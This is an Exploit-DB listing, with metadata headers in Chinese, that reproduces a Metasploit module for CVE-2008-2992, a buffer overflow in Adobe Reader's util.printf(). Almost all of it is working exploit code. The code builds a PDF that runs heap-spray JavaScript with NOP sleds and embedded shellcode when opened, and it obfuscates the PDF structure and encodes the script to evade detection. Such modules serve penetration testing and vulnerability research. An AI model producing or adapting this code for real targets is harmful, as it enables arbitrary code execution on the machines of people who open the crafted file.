标题: Adobe - 'util.printf()' Local Buffer Overflow (Metasploit) (2) EDB-ID: 16624 CVE: 2008-2992 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: adobe_utilprintf.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe util.printf() Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
    < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
    entry, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2008-2992' ],
     [ 'OSVDB', '49520' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
    ],
   'DisclosureDate' => 'Feb 8 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)
 end

 def exploit
  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Make some nops
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Randomize variables
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)
  rand9  = rand_text_alpha(rand(100) + 1)
  rand10 = rand_text_alpha(rand(100) + 1)
  rand11 = rand_text_alpha(rand(100) + 1)

  script = %Q|
  var #{rand1} = unescape("#{shellcode}");
  var #{rand2} ="";
  for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
  #{rand4} = #{rand2} + #{rand1};
  #{rand5} = unescape("#{nops}");
  #{rand6} = 20;
  #{rand7} = #{rand6}+#{rand4}.length
  while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
  #{rand8} = #{rand5}.substring(0, #{rand7});
  #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
  while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
  #{rand10} = new Array();
  for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
  util.printf("%45000.45000f", 0);
     |

  # Create the pdf
  pdf = make_pdf(script)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)
 end

 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end

 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end

 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end

 def make_pdf(js)

  xref = []
  eol = "\x0d\x0a"
  endobj = "endobj" << eol

  # Randomize PDF version?
  pdf = "%PDF-1.5" << eol
  pdf << "%" << RandomNonASCIIString(4) << eol
  xref << pdf.length
  pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
  xref << pdf.length
  pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << endobj
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end
  pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol

 end

end URL: https://www.exploit-db.com/exploits/16624